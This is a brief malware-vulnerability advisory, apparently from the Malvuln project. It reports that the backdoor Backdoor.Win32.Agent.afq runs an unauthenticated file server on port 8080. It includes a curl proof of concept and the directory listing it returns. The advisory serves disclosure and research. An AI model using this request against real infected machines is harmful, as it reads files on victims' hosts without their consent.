Backdoor.Win32.Agent.afq Missing Authentication

Backdoor.Win32.Agent.afq malware suffers from a missing authentication vulnerability.


MD5 | 64032512683c695dc3c8f7a6a17d5f51

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq
Vulnerability: Missing Authentication
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. There is no authentication, third-party attackers who can reach the server can list any dir and read any file on the infected host.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0188
Dropped files:
Disclosure: 04/27/2021

Exploit/PoC:
curl http://192.168.88.127:8080/Windows

Directory listing of /Windows

Filename Size
. 0
.. 0
addins 0
appcompat 0
apppatch 0
AppReadiness 0
assembly 0
bcastdvr 0
bfsvc.exe 65536
BitLockerDiscoveryVolumeContents 0
Boot 0
bootstat.dat 67584

etc....

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